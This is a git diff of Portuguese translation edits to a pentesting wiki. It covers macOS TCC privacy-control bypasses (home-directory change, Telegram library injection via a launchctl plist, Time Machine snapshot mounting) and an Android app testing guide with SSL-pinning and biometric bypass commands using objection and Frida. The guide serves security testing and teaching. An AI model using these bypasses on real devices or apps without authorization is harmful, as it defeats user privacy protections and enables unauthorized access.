Para armazenar este CVE, o **`NFSHomeDirectory`** é **mudado** (abusando da permissão anterior) para poder **assumir o banco de dados TCC dos usuários** para contornar o TCC.
Para armazenar esta CVE, o **`NFSHomeDirectory`** é **mudado** (abusando da permissão anterior) para poder **assumir o banco de dados TCC dos usuários** para contornar o TCC.
Para mais informações, confira o [**relatório original**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
@ -300,7 +300,7 @@ exit(0);
```
Para mais informações, consulte o [**relatório original**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/).
### Plug-Ins da Camada de Abstração de Dispositivos (DAL)
### Plug-Ins da Camada de Abstração de Dispositivo (DAL)
Aplicativos do sistema que abrem o fluxo da câmera via Core Media I/O (aplicativos com **`kTCCServiceCamera`**) carregam **no processo esses plugins** localizados em `/Library/CoreMediaIO/Plug-Ins/DAL` (não restrito pelo SIP).
@ -346,7 +346,7 @@ O binário `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` tinha as p
O Telegram tinha as permissões **`com.apple.security.cs.allow-dyld-environment-variables`** e **`com.apple.security.cs.disable-library-validation`**, então era possível abusar disso para **obter acesso às suas permissões**, como gravar com a câmera. Você pode [**encontrar o payload na descrição**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Note como usar a variável env para carregar uma biblioteca; um **plist personalizado** foi criado para injetar essa biblioteca e **`launchctl`** foi usado para lançá-la:
Note como usar a variável de ambiente para carregar uma biblioteca; um **plist personalizado** foi criado para injetar essa biblioteca e **`launchctl`** foi usado para lançá-la:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -382,7 +382,7 @@ launchctl load com.telegram.launcher.plist
### Scripts de Terminal
É bastante comum conceder **Acesso Completo ao Disco (FDA)**, pelo menos em computadores usados por pessoas da tecnologia. E é possível invocar scripts **`.terminal`** usando isso.
É bastante comum conceder **Acesso Completo ao Disco (FDA)**, pelo menos em computadores usados por pessoas da área de tecnologia. E é possível invocar scripts **`.terminal`** usando isso.
Scripts **`.terminal`** são arquivos plist como este com o comando a ser executado na chave **`CommandString`**:
```xml
@ -417,7 +417,7 @@ exploit_location]; task.standardOutput = pipe;
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
**Qualquer usuário** (mesmo os não privilegiados) pode criar e montar um snapshot do Time Machine e **acessar TODOS os arquivos** desse snapshot.\
**Qualquer usuário** (mesmo os não privilegiados) pode criar e montar um snapshot do time machine e **acessar TODOS os arquivos** desse snapshot.\
O **único privilégio** necessário é que o aplicativo usado (como `Terminal`) tenha acesso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), que precisa ser concedido por um administrador.
```bash
# Create snapshot
@ -475,11 +475,11 @@ Isso permitiu que um atacante realizasse montagens arbitrárias em qualquer loca
### asr
A ferramenta **`/usr/sbin/asr`** permitiu copiar todo o disco e montá-lo em outro lugar, contornando as proteções do TCC.
A ferramenta **`/usr/sbin/asr`** permitiu copiar todo o disco e montá-lo em outro lugar contornando as proteções do TCC.
### Serviços de Localização
Há um terceiro banco de dados TCC em **`/var/db/locationd/clients.plist`** para indicar os clientes autorizados a **acessar os serviços de localização**.\
Há um terceiro banco de dados TCC em **`/var/db/locationd/clients.plist`** para indicar os clientes autorizados a **acessar serviços de localização**.\
A pasta **`/var/db/locationd/` não estava protegida contra montagem de DMG**, então era possível montar nosso próprio plist.
## Por aplicativos de inicialização

153
src/mobile-pentesting/android-app-pentesting/README.md
View File

@ -26,7 +26,7 @@ Dê uma olhada na seguinte lista de [**Comandos ADB**](adb-commands.md) para apr
- [Falsificando sua localização na Play Store](spoofing-your-location-in-play-store.md)
- [API Privilegiada Shizuku (acesso privilegiado não-root baseado em ADB)](shizuku-privileged-api.md)
- [Explorando Mecanismos de Atualização Insegura em Aplicativos](insecure-in-app-update-rce.md)
- [Explorando Mecanismos Inseguros de Atualização In-App](insecure-in-app-update-rce.md)
- [Abusando de Serviços de Acessibilidade (Android RAT)](accessibility-services-abuse.md)
- **Baixar APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Extrair APK do dispositivo:
@ -50,10 +50,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Estudos de Caso & Vulnerabilidades
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
{{#ref}}
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
{{#endref}}
@ -75,25 +77,26 @@ Preste atenção especial às **URLs do firebase** e verifique se estão mal con
A **examinação dos arquivos _Manifest.xml_ e **_strings.xml_** de uma aplicação pode revelar potenciais vulnerabilidades de segurança**. Esses arquivos podem ser acessados usando decompiladores ou renomeando a extensão do arquivo APK para .zip e, em seguida, descompactando-o.
**Vulnerabilidades** identificadas no **Manifest.xml** incluem:
**Vulnerabilidades** identificadas a partir do **Manifest.xml** incluem:
- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggable, consulte um tutorial sobre como encontrar e explorar aplicações debuggable em um dispositivo.
- **Aplicações Debugáveis**: Aplicações configuradas como debuggable (`debuggable="true"`) no arquivo _Manifest.xml_ representam um risco, pois permitem conexões que podem levar à exploração. Para uma melhor compreensão sobre como explorar aplicações debuggables, consulte um tutorial sobre como encontrar e explorar aplicações debuggables em um dispositivo.
- **Configurações de Backup**: O atributo `android:allowBackup="false"` deve ser explicitamente definido para aplicações que lidam com informações sensíveis para evitar backups de dados não autorizados via adb, especialmente quando a depuração USB está habilitada.
- **Segurança de Rede**: Configurações de segurança de rede personalizadas (`android:networkSecurityConfig="@xml/network_security_config"`) em _res/xml/_ podem especificar detalhes de segurança como pins de certificado e configurações de tráfego HTTP. Um exemplo é permitir tráfego HTTP para domínios específicos.
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise mais aprofundada durante testes dinâmicos pode revelar como explorar esses componentes.
- **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes.
- **Content Providers e FileProviders**: Content providers expostos podem permitir acesso ou modificação não autorizada de dados. A configuração de FileProviders também deve ser analisada.
- **Broadcast Receivers e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
- **Broadcast Receivers e URL Schemes**: Esses componentes podem ser aproveitados para exploração, com atenção especial a como os esquemas de URL são gerenciados para vulnerabilidades de entrada.
- **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões do Android desatualizadas e vulneráveis por razões de segurança.
Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
A partir do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, sublinhando a necessidade de uma revisão cuidadosa desses recursos.
### Tapjacking
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface de usuário é projetada de tal forma a enganar o usuário para interagir com ela, enquanto passa a interação para o app vítima.\
**Tapjacking** é um ataque onde uma **aplicação maliciosa** é lançada e **se posiciona em cima de uma aplicação vítima**. Uma vez que obscurece visivelmente o app vítima, sua interface de usuário é projetada de tal forma a enganar o usuário a interagir com ela, enquanto passa a interação para o app vítima.\
Na prática, isso **cega o usuário para saber que ele está realmente realizando ações no app vítima**.
Encontre mais informações em:
{{#ref}}
tapjacking.md
{{#endref}}
@ -104,6 +107,7 @@ Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem qualqu
Mais informações em:
{{#ref}}
android-task-hijacking.md
{{#endref}}
@ -112,7 +116,7 @@ android-task-hijacking.md
**Armazenamento Interno**
No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pela **aplicação** que **os criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas.
No Android, arquivos **armazenados** no **armazenamento interno** são **projetados** para serem **acessíveis** exclusivamente pela **aplicação** que os **criou**. Essa medida de segurança é **imposta** pelo sistema operacional Android e geralmente é adequada para as necessidades de segurança da maioria das aplicações. No entanto, os desenvolvedores às vezes utilizam modos como `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` para **permitir** que arquivos sejam **compartilhados** entre diferentes aplicações. No entanto, esses modos **não restringem o acesso** a esses arquivos por outras aplicações, incluindo aquelas potencialmente maliciosas.
1. **Análise Estática:**
- **Assegure-se** de que o uso de `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` seja **cuidadosamente analisado**. Esses modos **podem potencialmente expor** arquivos a **acessos não intencionais ou não autorizados**.
@ -131,12 +135,12 @@ Ao lidar com arquivos no **armazenamento externo**, como cartões SD, certas pre
3. **Manipulação de Dados do Armazenamento Externo**:
- Sempre **realize validação de entrada** nos dados recuperados do armazenamento externo. Isso é crucial porque os dados vêm de uma fonte não confiável.
- Armazenar executáveis ou arquivos de classe no armazenamento externo para carregamento dinâmico é fortemente desencorajado.
- Se sua aplicação precisar recuperar arquivos executáveis do armazenamento externo, assegure-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Essa etapa é vital para manter a integridade de segurança da sua aplicação.
- Se sua aplicação precisar recuperar arquivos executáveis do armazenamento externo, assegure-se de que esses arquivos sejam **assinados e verificados criptograficamente** antes de serem carregados dinamicamente. Este passo é vital para manter a integridade de segurança da sua aplicação.
O armazenamento externo pode ser **acessado** em `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
> [!TIP]
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretório que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
> A partir do Android 4.4 (**API 17**), o cartão SD possui uma estrutura de diretórios que **limita o acesso de um app ao diretório que é especificamente para aquele app**. Isso impede que aplicações maliciosas ganhem acesso de leitura ou gravação aos arquivos de outro app.
**Dados sensíveis armazenados em texto claro**
@ -154,7 +158,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
Uma boa maneira de testar isso é tentar capturar o tráfego usando algum proxy como Burp sem autorizar o Burp CA dentro do dispositivo. Além disso, você pode gerar com o Burp um certificado para um hostname diferente e usá-lo.
### Criptografia Quebrada
### Quebra de Criptografia
**Processos de Gerenciamento de Chaves Ruins**
@ -176,6 +180,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
Leia a página a seguir para aprender como acessar facilmente o código javascript de aplicações React:
{{#ref}}
react-native-application.md
{{#endref}}
@ -184,6 +189,7 @@ react-native-application.md
Leia a página a seguir para aprender como acessar facilmente o código C# de aplicações xamarin:
{{#ref}}
../xamarin-apps.md
{{#endref}}
@ -192,7 +198,7 @@ Leia a página a seguir para aprender como acessar facilmente o código C# de ap
De acordo com este [**post de blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked é um algoritmo Meta que comprime o conteúdo de uma aplicação em um único arquivo. O blog fala sobre a possibilidade de criar um aplicativo que descompacte esse tipo de aplicativo... e uma maneira mais rápida que envolve **executar a aplicação e coletar os arquivos descompactados do sistema de arquivos.**
### Análise de Código Estática Automatizada
### Análise de Código Estático Automatizada
A ferramenta [**mariana-trench**](https://github.com/facebook/mariana-trench) é capaz de encontrar **vulnerabilidades** ao **escanear** o **código** da aplicação. Esta ferramenta contém uma série de **fontes conhecidas** (que indicam ao ferramenta os **lugares** onde a **entrada** é **controlada pelo usuário**), **sinks** (que indicam ao ferramenta **lugares perigosos** onde a entrada maliciosa do usuário pode causar danos) e **regras**. Essas regras indicam a **combinação** de **fontes-sinks** que indica uma vulnerabilidade.
@ -204,6 +210,7 @@ Uma aplicação pode conter segredos (chaves de API, senhas, URLs ocultas, subdo
### Bypass de Autenticação Biométrica
{{#ref}}
bypass-biometric-authentication-android.md
{{#endref}}
@ -217,6 +224,7 @@ bypass-biometric-authentication-android.md
### **Outras dicas**
{{#ref}}
content-protocol.md
{{#endref}}
@ -246,6 +254,7 @@ Graças à conexão ADB, você pode usar **Drozer** e **Frida** dentro dos emula
- [**Android Studio**](https://developer.android.com/studio) (Você pode criar dispositivos **x86** e **arm**, e de acordo com [**isso**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**as últimas versões x86** **suportam bibliotecas ARM** sem precisar de um emulador arm lento).
- Aprenda a configurá-lo nesta página:
{{#ref}}
avd-android-virtual-device.md
{{#endref}}
@ -253,14 +262,14 @@ avd-android-virtual-device.md
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versão gratuita:** Edição Pessoal, você precisa criar uma conta. _É recomendado **baixar** a versão **COM**_ _**VirtualBox** para evitar erros potenciais._)
- [**Nox**](https://es.bignox.com) (Gratuito, mas não suporta Frida ou Drozer).
> [!TIP]
> [!DICA]
> Ao criar um novo emulador em qualquer plataforma, lembre-se de que quanto maior a tela, mais lento o emulador funcionará. Portanto, selecione telas pequenas, se possível.
Para **instalar os serviços do google** (como AppStore) no Genymotion, você precisa clicar no botão marcado em vermelho da imagem a seguir:
![](<../../images/image (277).png>)
Além disso, observe que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
Além disso, note que na **configuração da VM Android no Genymotion** você pode selecionar o **modo de rede Bridge** (isso será útil se você estiver se conectando à VM Android de uma VM diferente com as ferramentas).
#### Usar um dispositivo físico
@ -281,17 +290,17 @@ Você precisa ativar as opções de **depuração** e será legal se você puder
Os desenvolvedores devem ter cuidado ao expor **informações de depuração** publicamente, pois isso pode levar a vazamentos de dados sensíveis. As ferramentas [**pidcat**](https://github.com/JakeWharton/pidcat) e `adb logcat` são recomendadas para monitorar logs de aplicações para identificar e proteger informações sensíveis. **Pidcat** é preferido por sua facilidade de uso e legibilidade.
> [!WARNING]
> Note que a partir de **versões mais recentes que o Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
> [!AVISO]
> Note que a partir de **versões mais recentes que Android 4.0**, **as aplicações só podem acessar seus próprios logs**. Portanto, as aplicações não podem acessar os logs de outros aplicativos.\
> De qualquer forma, ainda é recomendado **não registrar informações sensíveis**.
**Cache de Buffer de Copiar/Colar**
O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desativar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
O framework **baseado em clipboard** do Android permite a funcionalidade de copiar e colar em aplicativos, mas apresenta um risco, pois **outros aplicativos** podem **acessar** o clipboard, potencialmente expondo dados sensíveis. É crucial **desabilitar funções de copiar/colar** para seções sensíveis de uma aplicação, como detalhes de cartão de crédito, para evitar vazamentos de dados.
**Logs de Crash**
Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados por um canal SSL para segurança.
Se uma aplicação **crash** e **salvar logs**, esses logs podem ajudar atacantes, especialmente quando a aplicação não pode ser revertida. Para mitigar esse risco, evite registrar em crashes, e se os logs precisarem ser transmitidos pela rede, assegure-se de que sejam enviados através de um canal SSL para segurança.
Como pentester, **tente dar uma olhada nesses logs**.
@ -299,7 +308,7 @@ Como pentester, **tente dar uma olhada nesses logs**.
As aplicações frequentemente integram serviços como Google Adsense, que podem inadvertidamente **vazar dados sensíveis** devido à implementação inadequada pelos desenvolvedores. Para identificar possíveis vazamentos de dados, é aconselhável **interceptar o tráfego da aplicação** e verificar se há informações sensíveis sendo enviadas para serviços de terceiros.
### Bancos de Dados SQLite
### SQLite DBs
A maioria das aplicações usará **bancos de dados SQLite internos** para salvar informações. Durante o pentest, dê uma **olhada** nos **bancos de dados** criados, os nomes das **tabelas** e **colunas** e todos os **dados** salvos, pois você pode encontrar **informações sensíveis** (o que seria uma vulnerabilidade).\
Os bancos de dados devem estar localizados em `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`.
@ -316,11 +325,11 @@ Drozer é uma ferramenta útil para **explorar atividades exportadas, serviços
### Explorando Atividades Exportadas
[**Leia isso se você quiser refrescar o que é uma Atividade Android.**](android-applications-basics.md#launcher-activity-and-other-activities)\
Além disso, lembre-se de que o código de uma atividade começa no método **`onCreate`**.
Lembre-se também de que o código de uma atividade começa no método **`onCreate`**.
**Bypass de Autorização**
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você poderá **burlar** os mecanismos de **autenticação** **para acessá-la.**
Quando uma Atividade é exportada, você pode invocar sua tela de um aplicativo externo. Portanto, se uma atividade com **informações sensíveis** for **exportada**, você pode **burlar** os mecanismos de **autenticação** **para acessá-la.**
[**Aprenda como explorar atividades exportadas com Drozer.**](drozer-tutorial/index.html#activities)
@ -344,28 +353,28 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
Se o tapjacking não for prevenido, você pode abusar da atividade exportada para fazer o **usuário realizar ações inesperadas**. Para mais informações sobre [**o que é Tapjacking siga o link**](#tapjacking).
### Explorando Provedores de Conteúdo - Acessando e manipulando informações sensíveis
### Explorando Content Providers - Acessando e manipulando informações sensíveis
[**Leia isso se você quiser relembrar o que é um Provedor de Conteúdo.**](android-applications-basics.md#content-provider)\
Provedores de conteúdo são basicamente usados para **compartilhar dados**. Se um aplicativo tiver provedores de conteúdo disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
[**Leia isso se você quiser relembrar o que é um Content Provider.**](android-applications-basics.md#content-provider)\
Content providers são basicamente usados para **compartilhar dados**. Se um aplicativo tiver content providers disponíveis, você pode ser capaz de **extrair dados sensíveis** deles. Também é interessante testar possíveis **injeções SQL** e **Path Traversals**, pois podem ser vulneráveis.
[**Aprenda como explorar Provedores de Conteúdo com Drozer.**](drozer-tutorial/index.html#content-providers)
[**Aprenda como explorar Content Providers com Drozer.**](drozer-tutorial/index.html#content-providers)
### **Explorando Serviços**
### **Explorando Services**
[**Leia isso se você quiser relembrar o que é um Serviço.**](android-applications-basics.md#services)\
Lembre-se de que as ações de um Serviço começam no método `onStartCommand`.
[**Leia isso se você quiser relembrar o que é um Service.**](android-applications-basics.md#services)\
Lembre-se de que as ações de um Service começam no método `onStartCommand`.
Um serviço é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
[**Aprenda como explorar Serviços com Drozer.**](drozer-tutorial/index.html#services)
Um service é basicamente algo que **pode receber dados**, **processá-los** e **retornar** (ou não) uma resposta. Então, se um aplicativo estiver exportando alguns serviços, você deve **verificar** o **código** para entender o que ele está fazendo e **testá-lo** **dinamicamente** para extrair informações confidenciais, contornar medidas de autenticação...\
[**Aprenda como explorar Services com Drozer.**](drozer-tutorial/index.html#services)
### **Explorando Receptores de Broadcast**
### **Explorando Broadcast Receivers**
[**Leia isso se você quiser relembrar o que é um Receptor de Broadcast.**](android-applications-basics.md#broadcast-receivers)\
Lembre-se de que as ações de um Receptor de Broadcast começam no método `onReceive`.
[**Leia isso se você quiser relembrar o que é um Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Lembre-se de que as ações de um Broadcast Receiver começam no método `onReceive`.
Um receptor de broadcast estará aguardando um tipo de mensagem. Dependendo de como o receptor lida com a mensagem, ele pode ser vulnerável.\
[**Aprenda como explorar Receptores de Broadcast com Drozer.**](#exploiting-broadcast-receivers)
Um broadcast receiver estará esperando por um tipo de mensagem. Dependendo de como o receiver lida com a mensagem, ele pode ser vulnerável.\
[**Aprenda como explorar Broadcast Receivers com Drozer.**](#exploiting-broadcast-receivers)
### **Explorando Schemes / Deep links**
@ -374,7 +383,7 @@ Você pode **abrir** um **scheme** declarado usando **adb** ou um **navegador**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Observe que você pode **omitir o nome do pacote** e o dispositivo móvel chamará automaticamente o aplicativo que deve abrir esse link._
_Observe que você pode **omitir o nome do pacote** e o celular chamará automaticamente o aplicativo que deve abrir esse link._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
@ -394,17 +403,17 @@ Toda vez que você encontrar um deep link, verifique se **não está recebendo d
**Parâmetros no caminho**
Você **também deve verificar se algum deep link está usando um parâmetro dentro do caminho** da URL como: `https://api.example.com/v1/users/{username}`, nesse caso você pode forçar uma travessia de caminho acessando algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir a conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
Note que se você encontrar os endpoints corretos dentro da aplicação, pode ser capaz de causar um **Open Redirect** (se parte do caminho for usada como nome de domínio), **assumir conta** (se você puder modificar os detalhes dos usuários sem token CSRF e o endpoint vulnerável usar o método correto) e qualquer outra vulnerabilidade. Mais [info sobre isso aqui](http://dphoeniixx.com/2020/12/13-2/).
**Mais exemplos**
Um [relatório de bug bounty interessante](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
### Inspeção e Falhas de Verificação da Camada de Transporte
### Falhas de Inspeção e Verificação da Camada de Transporte
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para usar conexões HTTP.
- **Os certificados nem sempre são inspecionados corretamente** por aplicativos Android. É comum que esses aplicativos ignorem avisos e aceitem certificados autoassinados ou, em alguns casos, revertam para o uso de conexões HTTP.
- **As negociações durante o handshake SSL/TLS às vezes são fracas**, empregando suítes de cifra inseguras. Essa vulnerabilidade torna a conexão suscetível a ataques man-in-the-middle (MITM), permitindo que atacantes decriptografem os dados.
- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem não protege dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
- **Vazamento de informações privadas** é um risco quando aplicativos se autenticam usando canais seguros, mas depois se comunicam por canais não seguros para outras transações. Essa abordagem falha em proteger dados sensíveis, como cookies de sessão ou detalhes do usuário, de interceptação por entidades maliciosas.
#### Verificação de Certificado
@ -416,17 +425,17 @@ SSL Pinning é uma medida de segurança onde o aplicativo verifica o certificado
#### Inspeção de Tráfego
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Para inspecionar o tráfego HTTP, é necessário **instalar o certificado da ferramenta de proxy** (por exemplo, Burp). Sem instalar esse certificado, o tráfego criptografado pode não ser visível através do proxy. Para um guia sobre como instalar um certificado CA personalizado, [**clique aqui**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Aplicativos que visam **API Level 24 e acima** requerem modificações na Configuração de Segurança da Rede para aceitar o certificado CA do proxy. Essa etapa é crítica para inspecionar tráfego criptografado. Para instruções sobre como modificar a Configuração de Segurança da Rede, [**consulte este tutorial**](make-apk-accept-ca-certificate.md).
Se **Flutter** estiver sendo usado, você precisa seguir as instruções nesta [**página**](flutter.md). Isso ocorre porque, apenas adicionar o certificado ao armazenamento não funcionará, pois o Flutter tem sua própria lista de CAs válidas.
#### Bypass de SSL Pinning
#### Contornando o SSL Pinning
Quando o SSL Pinning é implementado, contorná-lo se torna necessário para inspecionar o tráfego HTTPS. Vários métodos estão disponíveis para esse propósito:
- Modifique automaticamente o **apk** para **contornar** SSLPinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). O melhor pró dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
- Modifique automaticamente o **apk** para **contornar** o SSL Pinning com [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). O melhor pró dessa opção é que você não precisará de root para contornar o SSL Pinning, mas precisará excluir o aplicativo e reinstalar o novo, e isso nem sempre funcionará.
- Você pode usar **Frida** (discutido abaixo) para contornar essa proteção. Aqui está um guia para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- Você também pode tentar **contornar automaticamente o SSL Pinning** usando **análise dinâmica do MobSF** (explicado abaixo)
@ -443,7 +452,7 @@ Quando o SSL Pinning é implementado, contorná-lo se torna necessário para ins
Se você quiser fazer pentesting em aplicativos Android, precisa saber como usar o Frida.
- Aprenda a usar o Frida: [**Tutorial Frida**](frida-tutorial/index.html)
- Algumas "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Alguma "GUI" para ações com Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection é ótimo para automatizar o uso do Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Você pode encontrar alguns scripts Frida incríveis aqui: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Tente contornar mecanismos de anti-debugging / anti-frida carregando o Frida como indicado em [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (ferramenta [linjector](https://github.com/erfur/linjector-rs))
@ -483,7 +492,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Bypass de Impressão Digital/Biometria**
Usando o seguinte script Frida, pode ser possível **bypassar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
Usando o seguinte script Frida, pode ser possível **burlar a autenticação por impressão digital** que aplicativos Android podem estar realizando para **proteger certas áreas sensíveis:**
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
@ -495,13 +504,13 @@ No entanto, se esse instantâneo contiver **informações sensíveis**, alguém
Os instantâneos geralmente são armazenados em: **`/data/system_ce/0/snapshots`**
O Android fornece uma maneira de **prevenir a captura de tela definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em capturas de tela ou que seja visualizado em displays não seguros.
O Android fornece uma maneira de **prevenir a captura de tela definindo o parâmetro de layout FLAG_SECURE**. Ao usar essa flag, o conteúdo da janela é tratado como seguro, impedindo que apareça em capturas de tela ou seja visualizado em displays não seguros.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Analisador de Aplicações Android**
Esta ferramenta pode ajudá-lo a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Esta ferramenta pode ajudar você a gerenciar diferentes ferramentas durante a análise dinâmica: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Injeção de Intent
@ -544,43 +553,43 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
Observe que o MobSF pode analisar **Android**(apk)**, IOS**(ipa) **e Windows**(apx) aplicações (_As aplicações do Windows devem ser analisadas a partir de um MobSF instalado em um host Windows_).\
